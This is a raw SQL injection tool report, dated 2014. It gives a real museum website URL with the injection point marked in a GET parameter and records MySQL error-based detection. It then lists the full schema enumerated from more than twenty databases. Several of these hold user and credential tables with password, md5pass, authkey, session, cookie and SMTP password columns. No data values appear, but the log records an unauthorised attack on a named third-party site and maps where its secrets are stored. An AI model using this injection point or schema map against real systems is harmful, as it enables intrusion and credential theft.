computer history db

Target:	http://www.computerhistory.org/VirtualVisibleStorage/theme.php?tax_id=%Inject_Here%04.05.00.00
Date:	06/02/2014 01:48:49 a.m.
DB Detection:	MySQL error based (Auto Detected)
Method:	GET
Type:	String (Auto Detected)

exhibits
Table Name	Columns
exhibit_images	exhibit_id image_id label_format tax_id image_order
exhibit_main	exhibit_id exhibit_type label_format label_ordering tax_id layout_format public_access title year month day description manufacturer country accession_no donor memory_size memory_width memory_type speed cost creator created_on creation_status checker checked_on checker_status final_approval archived_by archived_on archiver_status comments last_modified_by last_modified_on
image_main	image_id image_path base_name image_credit image_year image_caption image_alt_text image_accession_no object_credit object_year object_manufacturer object_country object_accession_no image_category sm_available lg_available src_available
taxonomy	tax_id belongs_to description retire_tax_id

information_schema
Table Name	Columns
CHARACTER_SETS	CHARACTER_SET_NAME DEFAULT_COLLATE_NAME DESCRIPTION MAXLEN
COLLATIONS	COLLATION_NAME CHARACTER_SET_NAME ID IS_DEFAULT IS_COMPILED SORTLEN
COLLATION_CHARACTER_SET_APPLICABILITY	COLLATION_NAME CHARACTER_SET_NAME
COLUMNS	TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME ORDINAL_POSITION COLUMN_DEFAULT IS_NULLABLE DATA_TYPE CHARACTER_MAXIMUM_LENGTH CHARACTER_OCTET_LENGTH NUMERIC_PRECISION NUMERIC_SCALE CHARACTER_SET_NAME COLLATION_NAME COLUMN_TYPE COLUMN_KEY EXTRA PRIVILEGES COLUMN_COMMENT
COLUMN_PRIVILEGES	GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME PRIVILEGE_TYPE IS_GRANTABLE
ENGINES	ENGINE SUPPORT COMMENT TRANSACTIONS XA SAVEPOINTS
EVENTS	EVENT_CATALOG EVENT_SCHEMA EVENT_NAME DEFINER TIME_ZONE EVENT_BODY EVENT_DEFINITION EVENT_TYPE EXECUTE_AT INTERVAL_VALUE INTERVAL_FIELD SQL_MODE STARTS ENDS STATUS ON_COMPLETION CREATED LAST_ALTERED LAST_EXECUTED EVENT_COMMENT ORIGINATOR CHARACTER_SET_CLIENT COLLATION_CONNECTION DATABASE_COLLATION
FILES	FILE_ID FILE_NAME FILE_TYPE TABLESPACE_NAME TABLE_CATALOG TABLE_SCHEMA TABLE_NAME LOGFILE_GROUP_NAME LOGFILE_GROUP_NUMBER ENGINE FULLTEXT_KEYS DELETED_ROWS UPDATE_COUNT FREE_EXTENTS TOTAL_EXTENTS EXTENT_SIZE INITIAL_SIZE MAXIMUM_SIZE AUTOEXTEND_SIZE CREATION_TIME LAST_UPDATE_TIME LAST_ACCESS_TIME RECOVER_TIME TRANSACTION_COUNTER VERSION ROW_FORMAT TABLE_ROWS AVG_ROW_LENGTH DATA_LENGTH MAX_DATA_LENGTH INDEX_LENGTH DATA_FREE CREATE_TIME UPDATE_TIME CHECK_TIME CHECKSUM STATUS EXTRA
GLOBAL_STATUS	VARIABLE_NAME VARIABLE_VALUE
GLOBAL_VARIABLES	VARIABLE_NAME VARIABLE_VALUE
KEY_COLUMN_USAGE	CONSTRAINT_CATALOG CONSTRAINT_SCHEMA CONSTRAINT_NAME TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME ORDINAL_POSITION POSITION_IN_UNIQUE_CONSTRAINT REFERENCED_TABLE_SCHEMA REFERENCED_TABLE_NAME REFERENCED_COLUMN_NAME
PARTITIONS	TABLE_CATALOG TABLE_SCHEMA TABLE_NAME PARTITION_NAME SUBPARTITION_NAME PARTITION_ORDINAL_POSITION SUBPARTITION_ORDINAL_POSITION PARTITION_METHOD SUBPARTITION_METHOD PARTITION_EXPRESSION SUBPARTITION_EXPRESSION PARTITION_DESCRIPTION TABLE_ROWS AVG_ROW_LENGTH DATA_LENGTH MAX_DATA_LENGTH INDEX_LENGTH DATA_FREE CREATE_TIME UPDATE_TIME CHECK_TIME CHECKSUM PARTITION_COMMENT NODEGROUP TABLESPACE_NAME
PLUGINS	PLUGIN_NAME PLUGIN_VERSION PLUGIN_STATUS PLUGIN_TYPE PLUGIN_TYPE_VERSION PLUGIN_LIBRARY PLUGIN_LIBRARY_VERSION PLUGIN_AUTHOR PLUGIN_DESCRIPTION PLUGIN_LICENSE
PROCESSLIST	ID USER HOST DB COMMAND TIME STATE INFO
PROFILING	QUERY_ID SEQ STATE DURATION CPU_USER CPU_SYSTEM CONTEXT_VOLUNTARY CONTEXT_INVOLUNTARY BLOCK_OPS_IN BLOCK_OPS_OUT MESSAGES_SENT MESSAGES_RECEIVED PAGE_FAULTS_MAJOR PAGE_FAULTS_MINOR SWAPS SOURCE_FUNCTION SOURCE_FILE SOURCE_LINE
REFERENTIAL_CONSTRAINTS	CONSTRAINT_CATALOG CONSTRAINT_SCHEMA CONSTRAINT_NAME UNIQUE_CONSTRAINT_CATALOG UNIQUE_CONSTRAINT_SCHEMA UNIQUE_CONSTRAINT_NAME MATCH_OPTION UPDATE_RULE DELETE_RULE TABLE_NAME REFERENCED_TABLE_NAME
ROUTINES	SPECIFIC_NAME ROUTINE_CATALOG ROUTINE_SCHEMA ROUTINE_NAME ROUTINE_TYPE DTD_IDENTIFIER ROUTINE_BODY ROUTINE_DEFINITION EXTERNAL_NAME EXTERNAL_LANGUAGE PARAMETER_STYLE IS_DETERMINISTIC SQL_DATA_ACCESS SQL_PATH SECURITY_TYPE CREATED LAST_ALTERED SQL_MODE ROUTINE_COMMENT DEFINER CHARACTER_SET_CLIENT COLLATION_CONNECTION DATABASE_COLLATION
SCHEMATA	CATALOG_NAME SCHEMA_NAME DEFAULT_CHARACTER_SET_NAME DEFAULT_COLLATION_NAME SQL_PATH
SCHEMA_PRIVILEGES	GRANTEE TABLE_CATALOG TABLE_SCHEMA PRIVILEGE_TYPE IS_GRANTABLE
SESSION_STATUS	VARIABLE_NAME VARIABLE_VALUE
SESSION_VARIABLES	VARIABLE_NAME VARIABLE_VALUE
STATISTICS	TABLE_CATALOG TABLE_SCHEMA TABLE_NAME NON_UNIQUE INDEX_SCHEMA INDEX_NAME SEQ_IN_INDEX COLUMN_NAME COLLATION CARDINALITY SUB_PART PACKED NULLABLE INDEX_TYPE COMMENT
TABLES	TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE ENGINE VERSION ROW_FORMAT TABLE_ROWS AVG_ROW_LENGTH DATA_LENGTH MAX_DATA_LENGTH INDEX_LENGTH DATA_FREE AUTO_INCREMENT CREATE_TIME UPDATE_TIME CHECK_TIME TABLE_COLLATION CHECKSUM CREATE_OPTIONS TABLE_COMMENT
TABLE_CONSTRAINTS	CONSTRAINT_CATALOG CONSTRAINT_SCHEMA CONSTRAINT_NAME TABLE_SCHEMA TABLE_NAME CONSTRAINT_TYPE
TABLE_PRIVILEGES	GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME PRIVILEGE_TYPE IS_GRANTABLE
TRIGGERS	TRIGGER_CATALOG TRIGGER_SCHEMA TRIGGER_NAME EVENT_MANIPULATION EVENT_OBJECT_CATALOG EVENT_OBJECT_SCHEMA EVENT_OBJECT_TABLE ACTION_ORDER ACTION_CONDITION ACTION_STATEMENT ACTION_ORIENTATION ACTION_TIMING ACTION_REFERENCE_OLD_TABLE ACTION_REFERENCE_NEW_TABLE ACTION_REFERENCE_OLD_ROW ACTION_REFERENCE_NEW_ROW CREATED SQL_MODE DEFINER CHARACTER_SET_CLIENT COLLATION_CONNECTION DATABASE_COLLATION
USER_PRIVILEGES	GRANTEE TABLE_CATALOG PRIVILEGE_TYPE IS_GRANTABLE
VIEWS	TABLE_CATALOG TABLE_SCHEMA TABLE_NAME VIEW_DEFINITION CHECK_OPTION IS_UPDATABLE DEFINER SECURITY_TYPE CHARACTER_SET_CLIENT COLLATION_CONNECTION

CyberCalendar
Table Name	Columns
chm_cal_event_rems	remid calid uid evid contyp conid
chm_cal_events	evid uid calid title subtitle description catid startday startmonth startyear isallday starthour startmin endhour endmin sendreminder srint srval iseventseries estype estd estdint estwint estwd estm estm1d estm1int estm2dp estm2wd estm2int esty esty1d esty1m esty2dp esty2wd esty2m ese eseaoint esed esem esey endafterdate endafterdays
chm_cal_ini	tuid calid calname userid username caltitle caltype showweek preferedview weekstartonmonday weekselreact daybeginhour dayendhour timetype gcbgimg gcprevcolor gcprevbgcolor gcprevstyle gcnextcolor gcnextbgcolor gcnextstyle gcprefcolor gcprefstyle gccssc mcdividerlinecolor mcttcolor mcttbgcolor mcttstyle mcttcellcolor mcheaderwdcolor mcheaderwdbgcolor mcheaderwecolor mcheaderwebgcolor mcwdcolor mcwdbgcolor mcwdstyle mcwdcellcolor mcwecolor mcwebgcolor mcwestyle mcwecellcolor mccdcolor mccdbgcolor mccdstyle mccdcellcolor mcnccolor mcncbgcolor mcncstyle mcnccellcolor mcdwecellcolor yvdividerlinecolor yvheadercolor yvttcolor yvttbgcolor yvttstyle yvttcellcolor yvheaderwdcolor yvheaderwdbgcolor yvheaderwecolor yvheaderwebgcolor yvwdcolor yvwdbgcolor yvwdstyle yvwdcellcolor yvwecolor yvwebgcolor yvwestyle yvwecellcolor yvcdcolor yvcdbgcolor yvcdstyle yvcdcellcolor yvnccellcolor yvdwecellcolor mvdividerlinecolor mvheadercolor mvheaderwdcolor mvheaderwdbgcolor mvheaderwecolor mvheaderwebgcolor mvwdcolor mvwdbgcolor mvwdstyle mvwdcellcolor mvwecolor mvwebgcolor mvwestyle mvwecellcolor mvcdcolor mvcdbgcolor mvcdstyle mvcdcellcolor mvnccolor mvncbgcolor mvncstyle mvnccellcolor mvwlcolor mvwlbgcolor mvwlstyle wvdividerlinecolor wvheadercolor wvheaderwdcolor wvheaderwdbgcolor wvheaderwdstyle wvheaderwdcellcolor wvheaderwecolor wvheaderwebgcolor wvheaderwestyle wvheaderwecellcolor wvheadercdcolor wvheadercdbgcolor wvheadercdstyle wvheadercdcellcolor wvheaderadcolor wvheaderadbgcolor wvheaderadcellcolor wvawdcolor wvawdbgcolor wvawdcellcolor wvawecolor wvawebgcolor wvawecellcolor wvacdcolor wvacdbgcolor wvacdcellcolor wvwdcolor wvwdbgcolor wvwdcellcolor wvwecolor wvwebgcolor wvwecellcolor wvcdcolor wvcdbgcolor wvcdcellcolor wvtccolor wvtcbgcolor wvtccellcolor dvdividerlinecolor dvheadercolor dvadcolor dvadbgcolor dvadcellcolor dvawdcolor dvawdbgcolor dvawdcellcolor dvawecolor dvawebgcolor dvawecellcolor dvacdcolor dvacdbgcolor dvacdcellcolor dvwdcolor dvwdbgcolor dvwdcellcolor dvwecolor dvwebgcolor dvwecellcolor dvcdcolor dvcdbgcolor dvcdcellcolor dvtccolor dvtcbgcolor dvtccellcolor
chm_color_table	id cnum cname chex nicename red green blue rgb rgbplus
chm_lang_English	uid keyid phrase remark
chm_languages	uid name remark
chm_rem_log	logid calid evid chk_date ev_date
chm_setup	siteowner email sitetitle baseurl progdir progframe standardlangid standardlangname sitetype publicview usercustom allowopen allowpublic allowprivate servertzos formtype adsid seiyv demomode allowreminders sitewidth subtitletxt standardbgimg standardbgcolor btxtcolor headpic headlink headtarget footpic footlink foottarget allowdv allowwv allowmv allowyv dispwvpd dispmvpd dispyvpd dispcnpd dispevcr withesb withwvesb withdvesb showomd showwvtime showdvtime mailtype mailformat uniem sadmmail smtphost smtpport smtpuser smtppass forcedefaultcal defaultcalid defaultcalname calogicversion
chm_user_cat	catid uid calid catname catcolortext catcolorbg
chm_user_con	conid uid congp fname lname email bday tzos tel1 tel2 tel3 fax address
chm_user_con_grp	congpid uid gpname
chm_user_reg	uid uname fname lname email isadmin pw newpw emok langid language startcalid startcalname tzos regtime conftime regkey session cookie udefscid udefscname

ITCHP
Table Name	Columns
bios	uid cid rec_created rec_created_by rec_edited rec_edited_by date_joined date_left status email_pref admin job_description accomplishments
commentidseq	id
comments	id rec_created rec_created_by rec_edited rec_edited_by subject message_body status redacted bibliography collection
companies	id rec_created rec_created_by rec_edited rec_edited_by name status description change_tracking keywords
companyidseq	id
docidseq	id
documents	id rec_created rec_created_by rec_edited rec_edited_by title description status bracket_title redacted bibliography collection filename path donor author_first author_last date_created publisher num_pages cataloguer copyright_owner location box_number lot_number accession notes color_bit_depth date_digitized digital_capture_device digital_format resolution dimensions scan_location keywords change_tracking web_access_large web_access_small
eventidseq	id
events	id rec_created rec_created_by rec_edited rec_edited_by title description date status bibliography collection sequence keywords change_tracking
refidseq	id
refs	id rec_created rec_created_by rec_edited rec_edited_by title reference status redacted bibliography collection author_first author_last date_created publisher keywords cataloguer copyright_owner change_tracking
relationships	parent_table parent_key child_table child_key type
sectoridseq	id
sectors	id rec_created rec_created_by rec_edited rec_edited_by name description status
stories	id rec_created rec_created_by rec_edited rec_edited_by title story status redacted bibliography collection date_created cataloguer copyright_owner author_first author_last keywords change_tracking
storyidseq	id
themeidseq	id
themes	id rec_created rec_created_by rec_edited rec_edited_by name description sequence status change_tracking keywords
useridseq	id
users	id rec_created rec_created_by rec_edited rec_edited_by username authkey first_name middle_initial last_name suffix address1 address2 city state zipcode addr_type country organization email phone fax active admin date_entered

ITCHP_test
Table Name	Columns
bios	uid cid rec_created rec_created_by rec_edited rec_edited_by date_joined date_left status email_pref admin job_description accomplishments
commentidseq	id
comments	id rec_created rec_created_by rec_edited rec_edited_by subject message_body status redacted bibliography collection
companies	id rec_created rec_created_by rec_edited rec_edited_by name status description change_tracking keywords
companyidseq	id
docidseq	id
documents	id rec_created rec_created_by rec_edited rec_edited_by title description status bracket_title redacted bibliography collection filename path donor author_first author_last date_created publisher num_pages cataloguer copyright_owner location box_number lot_number accession notes color_bit_depth date_digitized digital_capture_device digital_format resolution dimensions scan_location keywords change_tracking web_access_large web_access_small
eventidseq	id
events	id rec_created rec_created_by rec_edited rec_edited_by title description date status bibliography collection sequence keywords change_tracking
refidseq	id
refs	id rec_created rec_created_by rec_edited rec_edited_by title reference status redacted bibliography collection author_first author_last date_created publisher keywords cataloguer copyright_owner change_tracking
relationships	parent_table parent_key child_table child_key type
sectoridseq	id
sectors	id rec_created rec_created_by rec_edited rec_edited_by name description status
stories	id rec_created rec_created_by rec_edited rec_edited_by title story status redacted bibliography collection date_created cataloguer copyright_owner author_first author_last keywords change_tracking
storyidseq	id
themeidseq	id
themes
useridseq
users	id rec_created rec_created_by rec_edited rec_edited_by username authkey first_name middle_initial last_name suffix address1 address2 city state zipcode addr_type country organization email phone fax active admin date_entered

Phorum
Table Name	Columns
phorum_banlists	id forum_id type pcre string
phorum_files	file_id user_id filename filesize file_data add_datetime message_id
phorum_forum_group_xref	forum_id group_id permission
phorum_forums	forum_id name active description template folder_flag parent_id list_length_flat list_length_threaded moderation email_outgoing_address email_incoming_address email_subject_tag threaded_list threaded_read float_to_top check_duplicate allow_attachment_types max_attachment_size max_attachments pub_perms reg_perms display_ip_address allow_email_notify language email_moderators message_count thread_count last_post_time display_order read_length edit_post template_settings count_views display_fixed
phorum_groups	group_id name open
phorum_messages	message_id forum_id thread parent_id author subject body email ip status msgid modifystamp user_id thread_count moderator_post sort datestamp meta viewcount closed
phorum_private_messages	private_message_id from_username to_username from_user_id to_user_id subject message datestamp read_flag reply_flag to_del_flag from_del_flag
phorum_settings	name type data
phorum_subscribers	user_id forum_id sub_type thread
phorum_user_group_xref	user_id group_id status
phorum_user_newflags	user_id forum_id message_id
phorum_user_permissions	user_id forum_id permission
phorum_users	user_id username password password_temp email email_temp hide_email active user_data signature threaded_list posts admin threaded_read date_added date_last_active last_active_forum hide_activity

Phorum_test
Table Name	Columns
phorum_banlists	id forum_id type pcre string
phorum_files	file_id user_id filename filesize file_data add_datetime message_id
phorum_forum_group_xref	forum_id group_id permission
phorum_forums	forum_id name active description template folder_flag parent_id list_length_flat list_length_threaded moderation email_outgoing_address email_incoming_address email_subject_tag threaded_list threaded_read float_to_top check_duplicate allow_attachment_types max_attachment_size max_attachments pub_perms reg_perms display_ip_address allow_email_notify language email_moderators message_count thread_count last_post_time display_order read_length edit_post template_settings count_views display_fixed
phorum_groups	group_id name open
phorum_messages	message_id forum_id thread parent_id author subject body email ip status msgid modifystamp user_id thread_count moderator_post sort datestamp meta viewcount closed
phorum_private_messages	private_message_id from_username to_username from_user_id to_user_id subject message datestamp read_flag reply_flag to_del_flag from_del_flag
phorum_settings	name type data
phorum_subscribers	user_id forum_id sub_type thread
phorum_user_group_xref	user_id group_id status
phorum_user_newflags	user_id forum_id message_id
phorum_user_permissions	user_id forum_id permission
phorum_users	user_id username password password_temp email email_temp hide_email active user_data signature threaded_list posts admin threaded_read date_added date_last_active last_active_forum hide_activity

SAVE-test
Table Name	Columns
event	eventid description eventdate lastupdate lastupdateby
eventvolunteer	eventid personid hours description
exp_category	expid major minor exptype lastupdate lastupdateby displayorder
expertise	personid expid expnumeric expstring lastupdate lastupdateby
person	personid firstname middlename lastname company title addr1 addr2 city state zip dayphone evephone fax email emerg_contact emerg_addr1 emerg_addr2 emerg_phone emerg_relation emerg_medinfo emerg_doctor lastupdate lastupdateby email2 email3 cellphone senthours valid created createdby
s_results	hw1 sw1 inet1 netw1 cgui1 peop1 other1 other1txt desk2a db2a game2a lang2a net2a os2a oth2a proc2b peri2b stor2b game2b unde2b q3 q3txt celeb4 teachhow4 impact4 teachhist4 other4 collab5 lect5 cyber5 phys5 edu5 rest5 fellow5 vol5 host5 peop5 memb6 attlec6 attlec6val tour6 tour6val attfel6 vol6 parti6 years7 q8 q8txt q9 q9txt emps10 zip11 q12 q13 q13txt q14txt clientip entered
s_value_list	typename display_sequence visible_value internal_value
sequence	id
sessions	id a_session
user	userid personid md5pass admin lastupdate lastupdateby logintime prevlogintime

chm
Table Name	Columns
artifacts	artifactID artifactName manufac model category artifactYear ident donor
tdih	tdihID image_1 alt_text_1 caption_1 tdihMonth tdihDay tdihYear title description image_2 alt_text_2 caption_2 image_3 alt_text_3 caption_3
tdih2	tdihID image_1 alt_text_1 caption_1 tdihMonth tdihDay tdihYear title description image_2 alt_text_2 caption_2 image_3 alt_text_3 caption_3
timeline	timelineID tl_year tl_topic topic photo alt_text img_ht img_wt caption description

chm_kb
Table Name	Columns
s_kb_attachment_to_entry	entry_id attachment_id
s_kb_category	id parent_id name description sort_order commentable ratingable private active
s_kb_comment	id entry_id user_id name email comment date_posted active
s_kb_entry	id author_id updater_id title body date_updated date_posted hits active
s_kb_entry_to_category	entry_id category_id
s_kb_glossary	id phrase definition display_once
s_kb_rating	entry_id votes rate
s_member	id username password first_name middle_name last_name email phone date_registered active
s_priv	id user_id priv_name_id grantor timestamp
s_priv_module	id parent_id parent_setting_id module_name menu_name use_in_sub_menu as_sub_menu by_default own_priv check_priv active sort_order
s_priv_name	id name description active statusable info_editable priv_editable deleteable sort_order
s_priv_rule	id priv_name_id priv_module_id what_priv apply_to_child
s_setting	id module_id input_id options setting_key messure range default_value sort_order active
s_setting_input	id input
s_setting_to_value	setting_id setting_value
s_user	id username password first_name middle_name last_name email phone active editable

chm_manage
Table Name	Columns
module_nav_main	id label url display_order
module_nav_sub	id main_id label url display_order
oral_suggest	id yourname youremail yourphone name email telephone address contribution comments date_added status
phplog_groups	groupid groupname redirect active dateexpires datecreated
phplog_inputfields	id fieldname active required displayorder
phplog_members	userid groupid
phplog_pref	version basedir adminemail notifysignup userautoactive allowtosignup allowtoresetpass allowtojoingroups allowuseredit loginimage menu signuptext editusertext logintext passwordresettext homepage
phplog_userinput	id inputfieldid userid value
phplog_users	userid username password active hint answer datecreated dateexpires accesslevel redirect
timeline	id year topic image caption description public

chmstyleguide
Table Name	Columns
active_users	internalKey username lasthit id action ip
categories	id category
document_groups	id document_group document
documentgroup_names	id name private_memgroup private_webgroup
event_log	id eventid createdon type user usertype source description
keyword_xref	content_id keyword_id
manager_log	id timestamp internalKey username action itemid itemname message
manager_users	id username password
member_groups	id user_group member
membergroup_access	id membergroup documentgroup
membergroup_names	id name
site_content	id type contentType pagetitle longtitle description alias link_attributes published pub_date unpub_date parent isfolder introtext content richtext template menuindex searchable cacheable createdby createdon editedby editedon deleted deletedon deletedby publishedon publishedby menutitle donthit haskeywords hasmetatags privateweb privatemgr content_dispo hidemenu
site_content_metatags	content_id metatag_id
site_htmlsnippets	id name description editor_type category cache_type snippet locked
site_keywords	id keyword
site_metatags	id name tag tagvalue http_equiv
site_module_access	id module usergroup
site_module_depobj	id module resource type
site_modules	id name description editor_type disabled category wrap locked icon enable_resource resourcefile createdon editedon guid enable_sharedparams properties modulecode
site_plugin_events	pluginid evtid priority
site_plugins	id name description editor_type category cache_type plugincode locked properties disabled moduleguid
site_snippets	id name description editor_type category cache_type snippet locked properties moduleguid
site_templates	id templatename description editor_type category icon template_type content locked
site_tmplvar_access	id tmplvarid documentgroup
site_tmplvar_contentvalues	id tmplvarid contentid value
site_tmplvar_templates	tmplvarid rank
site_tmplvars	id type name caption description editor_type category locked elements rank display display_params default_text
system_eventnames	id name service groupname
system_settings	setting_name setting_value
user_attributes	id internalKey fullname role email phone mobilephone blocked blockeduntil blockedafter logincount lastlogin thislogin failedlogincount sessionid dob gender country state zip fax photo comment
user_messages	id type subject message sender recipient private postdate messageread
user_roles	id name description frames home view_document new_document save_document publish_document delete_document action_ok logout help messages new_user edit_user logs edit_parser save_parser edit_template settings credits new_template save_template delete_template edit_snippet new_snippet save_snippet delete_snippet empty_cache edit_document change_password error_dialog about file_manager save_user delete_user save_password edit_role save_role delete_role new_role access_permissions bk_manager new_plugin edit_plugin save_plugin delete_plugin new_module edit_module save_module delete_module exec_module view_eventlog delete_eventlog manage_metatags edit_doc_metatags new_web_user edit_web_user save_web_user delete_web_user web_access_permissions view_unpublished
user_settings	user setting_name setting_value
web_groups	id webgroup webuser
web_user_attributes	id internalKey fullname role email phone mobilephone blocked blockeduntil blockedafter logincount lastlogin thislogin failedlogincount sessionid dob gender country state zip fax photo comment
web_user_settings	webuser setting_name setting_value
web_users	id username password cachepwd
webgroup_access	id webgroup documentgroup
webgroup_names	id name

corphist
Table Name	Columns
biography	bid uid cid start end job_description accomplishments status email_pref
bugs	id date_reported page description category priority date_required status submitted_by date_completed
companies	cid name description status change_tracking keywords
group_membership	gmid uid gid
groups	gid gname level gname_id
item_comments	iid date time user_id subject message_body
item_document	iid title filename path description date author_first author_last date_created publisher num_pages keywords cataloguer copyright_owner location box_number lot_number accession notes color_bit_depth date_digitized digital_capture_device digital_format scan_location resolution change_tracking dimensions web_access_large web_access_small
item_event	iid title description date sequence keywords change_tracking
item_person	iid first_name last_name date job_title description title
item_reference	iid title reference date author_first author_last date_created publisher keywords cataloguer copyright_owner change_tracking
item_story	iid title story date author date_created keywords change_tracking cataloguer copyright_owner author_first author_last
items	id item_type iid status bibliography collection
relationships	rid parent child type level
segments	sid label description status site
sources	srcid iid location source status
themes	tid label description status keywords change_tracking
transactions	id date_created created_by date_edited edited_by
users	uid uname password first_name last_name user_type help_msg email entered_info affiliated_organization address1 address2 city state zipcode country phone fax address_type status date_accepted email_options middle_initial suffix

cybermuseum
Table Name	Columns
class_abbrev	id prefix class item_table
group_membership	uid gid
item_artifact	iid title model_number manufacturer date category dimensions credit_line accession status caption filename old_filename sequence exhibit_layer
item_category	iid title status
item_chess_main_image	iid title url status
item_comments	iid name email comments date time
item_company	iid title description status
item_document	iid title company publication date description subjects pages dimensions copyright_owner credit_line accession status caption filename old_filename sequence exhibit_layer
item_donation	iid title type status
item_faq	iid title answer status number
item_forum	iid author email date time ip title message status
item_gallery	iid title description status
item_image	iid filename old_filename title description status exhibit_layer
item_moving_image	iid title publisher creator participants date running_time copyright_owner credit_line accession status caption sequence filename exhibit_layer
item_oral_history	iid title publisher creator participants date running_time copyright_owner credit_line accession status caption sequence filename exhibit_layer
item_physical_object	iid chm_recordnumber id_accessionnumber id_serialnumber id_modelnumber creator desc_wheremade desc_color desc_material desc_labeltext subj_catobject contributor date date_introduced format_weight format_dimensions format_movingimage publisher publisher_oem rights subj_topic title type chm_creditline chm_curatorcomment chm_referencephoto relation_hasformat chm_fulltext subj_cattext format_extent subj_catstillimage format_stillimage relation_hasformatsm status
item_software	iid title version publisher date category platform media_version credit_line accession caption sequence filename exhibit_layer
item_still_image	iid title date photographer copyright_owner credit_line accession status caption filename old_filename sequence exhibit_layer size alt_text
item_thematic_element	iid title status description
item_top_level	iid title status
rel	rid parent child level
secondary	iid alter_table
transactions	id date_created created_by date_edited edited_by
urls	iid url resolution
users	uid username password first_name last_name user_type

donation
Table Name	Columns
entries	your_name phone email address description condition item_size weight location date_added status id donation_image

events
Table Name	Columns
media	media_id event_id label description link is_local
speaker_series	id date title external_url location cohosted additional header event_image location_exp registration abstracttalk time sponsor sponsor_image registration_link registration_active event_type inactiveregistration media_link media_description media_title public_entry no_registration
speakers	id name bio_text bio_image insert_order

exhibits_test
Table Name	Columns
exhibit_images	exhibit_id image_id label_format tax_id image_order
exhibit_main	exhibit_id exhibit_type label_format label_ordering tax_id layout_format public_access title year month day description manufacturer country accession_no donor memory_size memory_width memory_type speed cost creator created_on creation_status checker checked_on checker_status final_approval archived_by archived_on archiver_status comments last_modified_by last_modified_on
image_main	image_id image_path base_name image_credit image_year image_caption image_alt_text image_accession_no object_credit object_year object_manufacturer object_country object_accession_no image_category sm_available lg_available src_available
taxonomy	tax_id belongs_to description retire_tax_id

fellowawards
Table Name	Columns
modx_active_users	internalKey username lasthit id action ip
modx_categories	id category
modx_document_groups	id document_group document
modx_documentgroup_names	id name private_memgroup private_webgroup
modx_event_log	id eventid createdon type user usertype source description
modx_keyword_xref	content_id keyword_id
modx_log_access	visitor document timestamp hour weekday referer entry
modx_log_hosts	id data
modx_log_operating_systems	id data
modx_log_referers	id data
modx_log_totals	today month piDay piMonth piAll viDay viMonth viAll visDay visMonth visAll
modx_log_user_agents	id data
modx_log_visitors	id os_id ua_id host_id
modx_manager_log	id timestamp internalKey username action itemid itemname message
modx_manager_users	id username password
modx_member_groups	id user_group member
modx_membergroup_access	id membergroup documentgroup
modx_membergroup_names	id name
modx_site_content	id type contentType pagetitle longtitle description alias published pub_date unpub_date parent isfolder introtext content richtext template menuindex searchable cacheable createdby createdon editedby editedon deleted deletedon deletedby publishedon publishedby menutitle donthit haskeywords hasmetatags privateweb privatemgr content_dispo hidemenu
modx_site_content_metatags	content_id metatag_id
modx_site_htmlsnippets	id name description editor_type category cache_type snippet locked
modx_site_keywords	id keyword
modx_site_metatags	id name tag tagvalue http_equiv
modx_site_module_access	id module usergroup
modx_site_module_depobj	id module resource type
modx_site_modules	id name description editor_type disabled category wrap locked icon enable_resource resourcefile createdon editedon guid enable_sharedparams properties modulecode
modx_site_plugin_events	pluginid evtid
modx_site_plugins	id name description editor_type category cache_type plugincode locked properties disabled moduleguid
modx_site_snippets	id name description editor_type category cache_type snippet locked properties moduleguid
modx_site_templates	id templatename description editor_type category icon template_type content locked
modx_site_tmplvar_access	id tmplvarid documentgroup
modx_site_tmplvar_contentvalues	id tmplvarid contentid value
modx_site_tmplvar_templates	tmplvarid templateid
modx_site_tmplvars	id type name caption description editor_type category locked elements rank display display_params default_text
modx_system_eventnames	id name service groupname
modx_system_settings	setting_name setting_value
modx_user_attributes	id internalKey fullname role email phone mobilephone blocked blockeduntil blockedafter logincount lastlogin thislogin failedlogincount sessionid dob gender country state zip fax photo comment
modx_user_messages	id type subject message sender recipient private postdate messageread
modx_user_roles	id name description frames home view_document new_document save_document delete_document action_ok logout help messages new_user edit_user logs edit_parser save_parser edit_template settings credits new_template save_template delete_template edit_snippet new_snippet save_snippet delete_snippet empty_cache edit_document change_password error_dialog about file_manager save_user delete_user save_password edit_role save_role delete_role new_role access_permissions bk_manager new_plugin edit_plugin save_plugin delete_plugin new_module edit_module save_module delete_module exec_module view_eventlog delete_eventlog manage_metatags edit_doc_metatags new_web_user edit_web_user save_web_user delete_web_user web_access_permissions view_unpublished
modx_user_settings	user setting_name setting_value
modx_web_groups	id webgroup webuser
modx_web_user_attributes	id internalKey fullname role email phone mobilephone blocked blockeduntil blockedafter logincount lastlogin thislogin failedlogincount sessionid dob gender country state zip fax photo comment
modx_web_user_settings	webuser setting_name setting_value
modx_web_users	id username password cachepwd
modx_webgroup_access	id webgroup documentgroup
modx_webgroup_names	id name

ittasks
Table Name	Columns
frk_country	countryId name
frk_item	itemId projectId itemParentId priority context title description deadlineDate expectedDuration showInCalendar showPrivate memberId authorId
frk_itemComment	itemCommentId itemId memberId postDate body lastChangeDate
frk_itemFile	itemFileId itemId memberId fileTitle filename filetype filesize postDate lastChangeDate fileTags
frk_itemStatus	itemStatusId itemId statusDate statusKey memberId
frk_member	memberId email title firstName middleName lastName zipCode city stateCode countryId phone mobile fax username password salt autoLogin timeZone expirationDate lastLoginDate lastLoginAddress creationDate lastChangeDate visits badAccess level activation authorId enabled
frk_memberProject	memberId projectId position
frk_project	projectId name description
frk_projectStatus	projectStatusId projectId statusDate statusKey memberId

kayako_suite_test
Table Name	Columns
swalertactions	alertactionid alertruleid actiontype
swalertrules	alertruleid alertscope staffid departmentid priorityid ticketstatusid alerttype execassign title
swattachmentchunks	chunkid attachmentid contents
swattachments	attachmentid ticketid ticketpostid downloaditemid filename filesize filetype dateline attachmenttype storefilename
swattachmenttypes	attachmenttypeid extension maxsize mimetype
swauditlogs	auditlogid ticketid staffid departmentid userid dateline logtype actiontype actionmsg
swbreaklines	breaklineid breakline
swcalendarcategories	calendarcategoryid categorytype title displayorder ismaster
swcalendardata	calendardataid datatype typeid contents
swcalendarevents	calendareventid eventtype ownerstaffid staffid isalldayevent dateline subject startdateline duration enddateline activitytype location calendarstatusid calendarlabelid calendarcategoryid lastupdate
swcalendarlabels	calendarlabelid labeltype title labelcolorcode displayorder ismaster
swcalendarlinks	linktype entryid typeid guidid lastupdate lastswiftupdate
